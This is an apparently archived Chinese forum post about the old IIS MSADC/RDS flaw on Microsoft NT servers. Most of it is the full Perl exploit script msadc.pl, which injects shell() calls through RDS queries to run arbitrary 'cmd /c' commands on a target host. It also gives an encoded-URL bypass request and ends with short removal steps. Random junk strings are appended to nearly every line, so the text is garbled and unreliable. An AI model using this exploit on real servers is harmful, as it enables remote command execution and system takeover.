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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) W$X/8K bn  
<<-L,0  
涉及程序: S0StC$$1  
Microsoft NT server 8pEA3py  
C[fefV9g2  
描述: UIU Pi gd  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ;'Hu75ymo  
 j=pg5T  
详细: |fyzb=Lg  
如果你没有时间读详细内容的话,就删除: Zb_A(mnzh  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Z;N3mD+\ye  
有关的安全问题就没有了。 kMW9UUw  
p9jC-&:  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 'Ev[G6vo  
Ytc[ kp  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 0e&&k  
关于利用ODBC远程漏洞的描述,请参看: jvv=  
A3.I|/  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |(l]Xr&O  
#8L: .,AYE  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 q{V e%8$"  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp &3IkC(yD  
^X6e\]yj  
这里不再论述。 1?w=v|b:P)  
Xl1%c7r.1  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: IG|u;PH<  
ogSDV   
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 3~R,)fO;  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! T*@o?U  
Z796;qk  
X2I_,k'fQ  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Q_p&~PNy5  
&u^]YE{  
#!perl R`$Y]@i&B  
# ;o)'dK  
# MSADC/RDS 'usage' (aka exploit) script p2(ha3PW  
# w:nH_x#C4  
# by rain.forest.puppy |Isn<|_  
# e}-fGtFx  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me @"h4S*U  
# beta test and find errors! ]#DCO8Vk  
>Q<XyAH~  
use Socket; use Getopt::Std; _\yR/W~  
getopts("e:vd:h:XR", \%args); h3.CvPYy1  
Y=|20Y\K  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; s>G]U)d<'  
117lhx].'  
if (!defined $args{h} && !defined $args{R}) { 3n)Kzexh  
print qq~ h}'Hst  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Rs{8vV  
-h <host> = host you want to scan (ip or domain) d 4tL  
-d <seconds> = delay between calls, default 1 second \>*.+?97  
-X = dump Index Server path table, if available qLX<[UL  
-v = verbose )c*xKij  
-e = external dictionary file for step 5 rSt5 @f?  
4D n&+=fq  
Or a -R will resume a command session 4a& 8G  
y5=,q]Qjk[  
~; exit;} NAtDt=  
lijT L-3  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Q jXJo$I6  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} V:j^!*  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Z~h6^h   
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); >WZbb d-  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} oV['%Z'  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ,<K+.7,)E  
T<>B5G~%  
if (!defined $args{R}){ $ret = &has_msadc; ?(R#  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Q5dqn"?  
RLL ph  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" gi/k#3_m  
. "cmd /c "; %U}6(~  
$in=<STDIN>; chomp $in; Z2g<"M  
$command="cmd /c " . $in ; {*n<A{$[ m  
B_[I/ ?  
if (defined $args{R}) {&load; exit;} h4K Mhr  
!hfpa_5  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Q\IViM  
&try_btcustmr; "XV@O jr E  
*2~WP'~PQd  
print "\nStep 2: Trying to make our own DSN..."; h]~FYY  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; l,Y5VGiH#  
mX.mX70|J  
print "\nStep 3: Trying known DSNs..."; W //+[  
&known_dsn; />I5,D'h  
q$yg^:]2  
print "\nStep 4: Trying known .mdbs..."; 2/t;}pw8  
&known_mdb; <G<5)$ S  
`_GCS,/t  
if (defined $args{e}){ ami>Pp  
print "\nStep 5: Trying dictionary of DSN names..."; EI?8/c  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ; xw9#.d#D  
ns5Dydo{T  
print "Sorry Charley...maybe next time?\n"; }m?Ut|  
exit; =,ax"C?pR  
"v wLj:  
############################################################################## KK >j V  
60%fva  
sub sendraw { # ripped and modded from whisker 7;'UC','  
sleep($delay); # it's a DoS on the server! At least on mine... `%#_y67v  
my ($pstr)=@_; &,PA+#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || |zfFB7}v  
die("Socket problems\n"); (Dv GA I  
if(connect(S,pack "SnA4x8",2,80,$target)){ T>1#SWQ/9  
select(S); $|=1; $4ZV(j]  
print $pstr; my @in=<S>; hTZ6@i/pS  
select(STDOUT); close(S); @,Dnl v|?  
return @in; bvZD@F`2  
} else { die("Can't connect...\n"); }} ("}Hs[  
0^J%&1aIc  
############################################################################## am.d^'  
af6<w.i  
sub make_header { # make the HTTP request mM/#(Ghl  
my $msadc=<<EOT $(0<T<\  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ph(LsPT-  
User-Agent: ACTIVEDATA [D+PDR  
Host: $ip $X.F=Kv  
Content-Length: $clen N`N=}&v ]  
Connection: Keep-Alive BIx*(  
N@k' s   
ADCClientVersion:01.06 s/~[/2[bnf  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 B$JPE7h@[P  
^qC.bv]&  
--!ADM!ROX!YOUR!WORLD! \&V[<]  
Content-Type: application/x-varg Dvz 6 E  
Content-Length: $reqlen .uX(-8n ~  
ny^uNIRPR  
EOT c"`HKfL  
; $msadc=~s/\n/\r\n/g; UDJ#P9uy  
return $msadc;} d^IX(y*$  
x?0(K=h,  
############################################################################## V5h_uGOD  
]+qd|}^  
sub make_req { # make the RDS request UDcr5u eKn  
my ($switch, $p1, $p2)=@_; H)*%eG~  
my $req=""; my $t1, $t2, $query, $dsn; loq2+(  
"AMwo(Yi  
if ($switch==1){ # this is the btcustmr.mdb query mpDxJk!   
$query="Select * from Customers where City=" . make_shell(); Avljrds+7  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 7{S;~VH3  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 4^Ks!S>K{8  
/N/jwLr  
elsif ($switch==2){ # this is general make table query qIzv|Nte  
$query="create table AZZ (B int, C varchar(10))"; O6-';H:I]L  
$dsn="$p1";} 8h}1t4k  
(]fbCH:  
elsif ($switch==3){ # this is general exploit table query Gh{9nM_\"  
$query="select * from AZZ where C=" . make_shell(); yMgS0  
$dsn="$p1";} 5?j#  
iY sQ:3s  
elsif ($switch==4){ # attempt to hork file info from index server @Y9tkJIt  
$query="select path from scope()"; Jl6biJx  
$dsn="Provider=MSIDXS;";} nM8'="$  
&;vMJ   
elsif ($switch==5){ # bad query Je'%EJ  
$query="select"; [Q8vS;.  
$dsn="$p1";} yWH!v]S  
O+Db#FW  
$t1= make_unicode($query); f.vJJa  
$t2= make_unicode($dsn); [-)BI|S:  
$req = "\x02\x00\x03\x00"; v)zxQuH]^  
$req.= "\x08\x00" . pack ("S1", length($t1)); ;Q5o38(  
$req.= "\x00\x00" . $t1 ; bSTTr<W  
$req.= "\x08\x00" . pack ("S1", length($t2)); j3 @Q  
$req.= "\x00\x00" . $t2 ; [|YuT:Cp  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ub4(g~E  
return $req;} U'}[:h~)  
Djp;\.$(  
############################################################################## u@4khN: ^p  
7zNfq.Ni~  
sub make_shell { # this makes the shell() statement urD{'FQf  
return "'|shell(\"$command\")|'";} [&p/7  
|[/XG2S  
############################################################################## z Hl+P*)  
c8o2* C$  
sub make_unicode { # quick little function to convert to unicode Ee$F]NA  
my ($in)=@_; my $out; t0ZaIE   
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } \Dx)P[Ur  
return $out;} =d JRBl  
$j0<ef!  
############################################################################## V67<Ky>  
j|r$ ! gV  
sub rdo_success { # checks for RDO return success (this is kludge) 9@ ^*\s  
my (@in) = @_; my $base=content_start(@in); 6.3qux9  
if($in[$base]=~/multipart\/mixed/){  1W>0  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} @Wzr rCpj  
return 0;} 6?l|MU"Q.  
M9(Kxux#  
############################################################################## ENZYrWl  
69``j{Z+  
sub make_dsn { # this makes a DSN for us v *@R U  
my @drives=("c","d","e","f"); 3hR3)(+1  
print "\nMaking DSN: "; v<]$,V]  
foreach $drive (@drives) {  11-?M  
print "$drive: "; ztaSIMZ  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . CN#2-[T  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" '&iAPc4=  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %uy?@e  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; }vX/55  
return 0 if $2 eq "404"; # not found/doesn't exist @9h6D<?  
if($2 eq "200") { e:iqv?2t  
foreach $line (@results) { ~qb-uT\(99  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ;-{'d8  
} return 0;} od]1:8OF  
h_xzqElZu  
############################################################################## (L7%V !  
)9V8&,  
sub verify_exists { 8F T@TUFb  
my ($page)=@_; YR0.m%U,  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Q+^"v]V`d  
return $results[0];} :.F;LF&  
2[Bw+<YA`  
############################################################################## s!j vBy  
hXP'NS`iv  
sub try_btcustmr { kntn9G  
my @drives=("c","d","e","f"); 690;\O '  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 6vebGf  
z%[^-l-  
foreach $dir (@dirs) { {s~t>Rp+  
print "$dir -> "; # fun status so you can see progress Te&5IB-  
foreach $drive (@drives) { `EzC'e  
print "$drive: "; # ditto 4j-%I7  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; }Uunlz<  
$reqlenlen=length( "$reqlen" ); ?89 _2W  
$clen= 206 + $reqlenlen + $reqlen; Iq: G9M  
aX(Y `g)|  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); WRfhxl  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} bWfT-Jewh  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} g.eMGwonTJ  
5TVA1  
############################################################################## {x/)S*:Z  
kU[#. y=%p  
sub odbc_error { ~ZZJ/Cu  
my (@in)=@_; my $base; 9|1J pb  
my $base = content_start(@in); Vh5Z'4N  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this lc\f6J>HT  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; zT"W(3  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 04QY x}a  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; J:Ncy}AO  
return $in[$base+4].$in[$base+5].$in[$base+6];} m<| *  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Dro2R_j{  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . r@]iy78 j  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Y SD|#0  
L&h90Az1W  
############################################################################## /U =eB?>  
LKe ~  
sub verbose { Z2hIoCT  
my ($in)=@_; =s$UU15  
return if !$verbose; Z^SF $+UN  
print STDOUT "\n$in\n";} Iji9N!Yx  
Q=Y1kcTOn  
############################################################################## v\b@;H`  
iP^o]4[c  
sub save { $g+q;Y~i0  
my ($p1, $p2, $p3, $p4)=@_; m\hzQ9  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 6 ?C|pO  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 'q_^28rK  
close OUT;} #2~-I  
1"4Pan  
############################################################################## k,mgiGrQ  
(WISf}[l;  
sub load { v3ky;~ke  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~5Cid)Q}@o  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); e2 X\ll  
@p=<IN>; close(IN); s G6ts,={  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); :47bf<w|Y  
$target= inet_aton($ip) || die("inet_aton problems"); G'M;]R9EP  
print "Resuming to $ip ..."; +6$|No  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; mz'r<v2Tc  
if($p[1]==1) { 9 Y-y?Y  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; qZS]eQW.  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; FZ0wtS2  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); A./ VO  
if (rdo_success(@results)){print "Success!\n";} ?E*;fDEC  
else { print "failed\n"; verbose(odbc_error(@results));}} S1Nwm?z  
elsif ($p[1]==3){ , Y\`n7Ww  
if(run_query("$p[3]")){ Sz_{#-  
print "Success!\n";} else { print "failed\n"; }} l[AQyR1+/  
elsif ($p[1]==4){ ?m(]@6qa  
if(run_query($drvst . "$p[3]")){ s)L\D$;+O  
print "Success!\n"; } else { print "failed\n"; }} @  gv^  
exit;} 5x=aJl;G  
xRI7_8Jpyn  
############################################################################## ^]cl:m=*  
P"%QFt,  
sub create_table { %lbDcEsf9  
my ($in)=@_; 4Ucs9w3[  
$reqlen=length( make_req(2,$in,"") ) - 28; =1vl-*uYh  
$reqlenlen=length( "$reqlen" ); OtVRhR3>  
$clen= 206 + $reqlenlen + $reqlen; ~v$1@DQ}  
my @results=sendraw(make_header() . make_req(2,$in,"")); sYG:\>}ie  
return 1 if rdo_success(@results); ,'nd~{pX"(  
my $temp= odbc_error(@results); verbose($temp); QCD MRh n  
return 1 if $temp=~/Table 'AZZ' already exists/; S <RbC  
return 0;} C+m%_6<  
nc2=S^Fqu  
############################################################################## Q:5^K  
 mdtG W  
sub known_dsn { 6${=N}3Kw  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ;J>upI   
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ~O c:b>~  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ].Sz2vI  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); pK|~G."6e  
#B!HPlrv  
foreach $dSn (@dsns) { Sk6B>O<:  
print "."; _ g8CvH)?!  
next if (!is_access("DSN=$dSn")); h]>QGX[kC  
if(create_table("DSN=$dSn")){ j&Trvw<t  
print "$dSn successful\n"; ixY[ HDPq  
if(run_query("DSN=$dSn")){ z8@[]6cW  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Im g$D*BM  
print "Something's borked. Use verbose next time\n";}}} print "\n";} V"Sa9P{y"  
P{ K;vEp  
############################################################################## +e87/\5  
LsI8T uv  
sub is_access { B" 0a5-pkr  
my ($in)=@_; RD|DHio%  
$reqlen=length( make_req(5,$in,"") ) - 28; K0usBA  
$reqlenlen=length( "$reqlen" ); B{lj.S` mB  
$clen= 206 + $reqlenlen + $reqlen; *8I"7'xh  
my @results=sendraw(make_header() . make_req(5,$in,"")); PNs*+/-S  
my $temp= odbc_error(@results); jl"su:y  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); >\o._?xSA  
return 0;} FX1H2N(  
S aH':UN  
############################################################################## PWBcK_4i%  
,x=S)t  
sub run_query { _M) G  
my ($in)=@_; `oU|U!|  
$reqlen=length( make_req(3,$in,"") ) - 28; |[Rlg`TQ;*  
$reqlenlen=length( "$reqlen" ); eev-";c  
$clen= 206 + $reqlenlen + $reqlen; c[>xM3=e^q  
my @results=sendraw(make_header() . make_req(3,$in,"")); 8CUlE-R5  
return 1 if rdo_success(@results); {[)n<.n[g  
my $temp= odbc_error(@results); verbose($temp); Miz?t*|{[  
return 0;} +^DDWVp  
kW7$Gw]-  
############################################################################## .%EYof  
x']Fe7nv  
sub known_mdb { mKBO<l{S  
my @drives=("c","d","e","f","g"); Am!OLGG4  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =<%[P9y  
my $dir, $drive, $mdb; hS1I ;*t  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; _CMNmmp`e  
[jv+Of IZ  
# this is sparse, because I don't know of many ox*>HkV  
my @sysmdbs=( "\\catroot\\icatalog.mdb", iax0V  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", E)`:sSd9  
"\\system32\\certmdb.mdb", YsMM$rjP +  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% +#Wwah$  
63i&<  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", :8`~dj.  
"\\cfusion\\cfapps\\forums\\forums_.mdb", MD^,"!A  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 61w ({F  
"\\cfusion\\cfapps\\security\\realm_.mdb", <aLS4  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", k<|}&<h  
"\\cfusion\\database\\cfexamples.mdb", B@U'7`v  
"\\cfusion\\database\\cfsnippets.mdb", =4$ErwI_dm  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", !QpOrg  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", uBl&{$<  
"\\cfusion\\brighttiger\\database\\cleam.mdb", H:)_;k  
"\\cfusion\\database\\smpolicy.mdb", g4u 6#.m(  
"\\cfusion\\database\cypress.mdb", WvZt~x&2  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", \(RD5@=!4#  
"\\website\\cgi-win\\dbsample.mdb", Eq%f`Qg+1E  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", K3Bw3j 9  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" @qpj0i+>*  
); #these are just Z5 p [*LMO  
foreach $drive (@drives) { B Dp")[l  
foreach $dir (@dirs){ _, E/HAX  
foreach $mdb (@sysmdbs) { jfiUf1Mj  
print "."; `{|w*)mD  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ z-qbe97  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; %E5b }E#  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ eyuyaSE  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; zE<Iv\Q  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Q:|W/RD~  
$H)Q UFyC  
foreach $drive (@drives) { 9;'#,b*(  
foreach $mdb (@mdbs) { R+U$;r8l  
print "."; e_|Z&  
if(create_table($drv . $drive . $dir . $mdb)){ P@keg*5@  
print "\n" . $drive . $dir . $mdb . " successful\n"; sQJGwZ 7  
if(run_query($drv . $drive . $dir . $mdb)){ yVgC1-8i*  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Y!8FW|  
} else { print "Something's borked. Use verbose next time\n"; }}}} uIbAlE  
} aU~?&]  
d]Y;rqjue  
############################################################################## $btu=_|f  
l^d'8n  
sub hork_idx { T@=C2 1  
print "\nAttempting to dump Index Server tables...\n"; _-lE$ O  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ``P9fd  
$reqlen=length( make_req(4,"","") ) - 28; 4g"%?xN  
$reqlenlen=length( "$reqlen" ); x\U[5d   
$clen= 206 + $reqlenlen + $reqlen; 6Iqy"MQuq  
my @results=sendraw2(make_header() . make_req(4,"","")); <gFa@at  
if (rdo_success(@results)){ ,:e~aG,B  
my $max=@results; my $c; my %d; xnt)1Q  
for($c=19; $c<$max; $c++){ uDP:kM  
$results[$c]=~s/\x00//g; SDC'S]{ew  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; oX8EY l  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; tj'~RQvO  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; rVqQo` K\  
$d{"$1$2"}="";} jLVG=rOn  
foreach $c (keys %d){ print "$c\n"; } |$b8(g$s)  
} else {print "Index server doesn't seem to be installed.\n"; }} .wD $Bsm`t  
q~b# ml2QS  
############################################################################## c )LG+K  
>7PQOQMW'  
sub dsn_dict { X!qK[b@Z  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 8W{M}>;[9  
while(<IN>){ K<wFr-z  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; $Yt|XT+!&  
next if (!is_access("DSN=$dSn")); (0 H=f6N  
if(create_table("DSN=$dSn")){ *qm|A{FQR  
print "$dSn successful\n"; v>#Njgo  
if(run_query("DSN=$dSn")){ Yu\$Y0 {]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Ig t*8px  
print "Something's borked. Use verbose next time\n";}}} Ba@~:  
print "\n"; close(IN);} Rey+3*zUb  
&U7v=a  
############################################################################## U?sHh2*  
V!+iq*Z|=  
sub sendraw2 { # ripped and modded from whisker "t&=~eOe3  
sleep($delay); # it's a DoS on the server! At least on mine... ea"X$<s>-  
my ($pstr)=@_; $G`CXhbl  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || &liON1GLM  
die("Socket problems\n"); ]JjS$VMauX  
if(connect(S,pack "SnA4x8",2,80,$target)){ K2zln_W  
print "Connected. Getting data"; B=TUZ)  
open(OUT,">raw.out"); my @in; .DhI3'Jrl  
select(S); $|=1; print $pstr; FC] *^B  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ng3ZK  
close(OUT); select(STDOUT); close(S); return @in; ~j'D%:[+VH  
} else { die("Can't connect...\n"); }} \{ @m  
C P}fxDW  
############################################################################## |+q_kx@?l  
fA6IW(_bi  
sub content_start { # this will take in the server headers V|MHDMD=  
my (@in)=@_; my $c; K9#kdo1 2  
for ($c=1;$c<500;$c++) { dn#I,xa`  
if($in[$c] =~/^\x0d\x0a/){ (p[#[CI9  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } yMz#e0k  
else { return $c+1; }}} 1 %P-X!  
return -1;} # it should never get here actually t2o{=!$WH  
"Xv} l@  
############################################################################## .D 4G;=Q  
9fEe={ B+  
sub funky { w 0_P9g:  
my (@in)=@_; my $error=odbc_error(@in); R'k `0  
if($error=~/ADO could not find the specified provider/){ 8OZj24*'DS  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; #"N60T@  
exit;} yjjq&Cn  
if($error=~/A Handler is required/){ {$z54nvw$  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5G`HJ6  
exit;} ~.W]x~X$  
if($error=~/specified Handler has denied Access/){ $xWwI( SaB  
print "\nServer has custom handler filters (they most likely are patched)\n"; '5BD%#[  
exit;}} @:}c(j  
?XHQdN3e  
############################################################################## =wh[D$n$~  
VvyRZMR  
sub has_msadc { ,W}:vdC  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 61S;M8tNv  
my $base=content_start(@results); L+8ar9es  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); F@u7Oel@m  
return 0;} s(=wG|   
pN[WYM?[  
######################## 7[1Lh'u  
Z_q+Ac{p  
Te-p0x?G.  
解决方案: 1B4Qj`:+0  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll r^~+ <"  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 l!tR<$|  
sycAAmH<  
拿出来充数 哈哈
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